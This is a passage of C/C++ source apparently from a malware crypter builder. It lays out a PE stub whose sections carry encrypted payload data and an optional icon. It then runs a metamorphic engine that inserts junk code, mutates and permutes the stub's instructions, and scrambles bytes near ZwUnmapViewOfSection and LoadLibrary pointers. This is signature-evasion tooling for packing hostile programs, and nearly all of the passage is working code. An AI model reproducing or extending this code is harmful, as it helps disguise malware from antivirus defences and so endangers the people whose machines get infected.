pstubSections[2].Misc.VirtualSize = StubSectionsSize(1);
pstubSections[2].Characteristics = 0xC0000040;
pstubSections[2].PointerToRawData = Align(pstubSections[1].PointerToRawData + pstubSections[1].SizeOfRawData, stubNT.OptionalHeader.FileAlignment);
pstubSections[2].SizeOfRawData = Align(StubSectionsSize(1), stubNT.OptionalHeader.FileAlignment);
pstubSections[2].VirtualAddress = Align(pstubSections[1].VirtualAddress + pstubSections[1].Misc.VirtualSize, stubNT.OptionalHeader.SectionAlignment);
MapStubSections(pstubSections[0].VirtualAddress, pstubSections[2].VirtualAddress, CryptedData);
if (bIcon)
{
pstubSections[3].VirtualAddress = Align(pstubSections[2].VirtualAddress + pstubSections[2].Misc.VirtualSize, stubNT.OptionalHeader.SectionAlignment);
pResData = CreateIconResources(szIcon, pstubSections[3].VirtualAddress, &dwResSize);
if (pResData)
{
memcpy(pstubSections[3].Name, ".rsrc", 5);
// pstubSections[3].Misc.VirtualSize = Align(dwResSize, stubNT.OptionalHeader.SectionAlignment);
pstubSections[3].Misc.VirtualSize = dwResSize;
pstubSections[3].PointerToRawData = Align(pstubSections[2].PointerToRawData + pstubSections[2].SizeOfRawData, stubNT.OptionalHeader.SectionAlignment);
pstubSections[3].SizeOfRawData = Align(dwResSize, stubNT.OptionalHeader.FileAlignment);
pstubSections[3].Characteristics = 0x40000040;
}
else
{
bIcon = FALSE;
pstubSections[3].VirtualAddress = 0;
stubNT.FileHeader.NumberOfSections--;
}
}
stubNT.OptionalHeader.BaseOfCode = pstubSections[0].VirtualAddress;
stubNT.OptionalHeader.BaseOfData = pstubSections[2].VirtualAddress;
stubNT.OptionalHeader.SizeOfCode = pstubSections[0].Misc.VirtualSize;
//are rsrcs are part of initialized data?...w/e figure it out later.
stubNT.OptionalHeader.SizeOfInitializedData = pstubSections[1].Misc.VirtualSize + pstubSections[2].Misc.VirtualSize;
stubNT.OptionalHeader.DataDirectory[1].Size = dwImportsSize;
stubNT.OptionalHeader.DataDirectory[1].VirtualAddress = pstubSections[1].VirtualAddress + dwIATSize;
stubNT.OptionalHeader.DataDirectory[12].Size = dwIATSize;
stubNT.OptionalHeader.DataDirectory[12].VirtualAddress = pstubSections[1].VirtualAddress;
if (bIcon)
{
stubNT.OptionalHeader.DataDirectory[2].VirtualAddress = pstubSections[3].VirtualAddress;
stubNT.OptionalHeader.DataDirectory[2].Size = dwResSize;
}
//header done, make sure stub variables are set and then write.
for (i = 0; i < NUM_STUB_SECTIONS; i++)
{
if (stubsections[i].Offsets.dwOldVA == (DWORD)pFileArray)
{
pFileArray = (FileInfo*)stubsections[i].Offsets.dwNewVA;
break;
}
}
FixVAs((DWORD)pMe, stubNT.OptionalHeader.SizeOfImage, stubNT.OptionalHeader.ImageBase);
for (i = 0; i < NUM_STUB_SECTIONS; i++)
{
if (stubsections[i].IsCodeOrData == 0 && stubsections[i].FixVAs == 1) //permutate stub code.
{
smi2le engine(GetTickCount());
engine.Disasm((BYTE*)stubsections[i].Offsets.dwOldVA, stubsections[i].dwOldSize, 0);
for (k = 0; k < 4; k++)
{
engine.AddTrash(1, 50, 500, true);
}
if (!(rand() % 3))
engine.AddTrash(1, 20, 200, false);
for (k = 0; k < 4; k++)
engine.Mutate(5);
for (k = 0; k < 2; k++)
engine.Permutate(15);
DWORD dwret;
(*(etg_engine*)&etg_bin)
(0,
ETG_ALL,
REG_ALL,
REG_ALL,
&dwret,
stubsections[i].dwNewSize,
stubsections[i].dwNewSize,
(unsigned char*)stubsections[i].pCodeData,
smi2le::my_rand);
for (dwret = 0; dwret < 100; dwret++)
{
if (engine.Asm((BYTE*)stubsections[i].pCodeData, stubsections[i].dwNewSize, &dwEP) == ERR_SUCCESS)
break;
}
if (dwret >= 100)
{
MessageBox(0, "Oops, try again", "Error", MB_ICONERROR);
goto whataloser;
}
//no mutation (for testing/debugging)
// memcpy((void*)stubsections[i].pCodeData, (void*)stubsections[i].Offsets.dwOldVA, stubsections[i].dwOldSize);
// dwEP = 0;
}
}
stubNT.OptionalHeader.AddressOfEntryPoint = OldVAToNewVA((DWORD)&stub_entry) + dwEP;
stubNT.OptionalHeader.SizeOfImage = pstubSections[stubNT.FileHeader.NumberOfSections - 1].VirtualAddress + pstubSections[stubNT.FileHeader.NumberOfSections - 1].Misc.VirtualSize;
BYTE* h;
for (h = (BYTE*)&ZwUnmapViewOfSection; h < (BYTE*)&pLoadLibrary + 4; h++)
{
*h = (BYTE)rand();
}
//encrypt cnsts section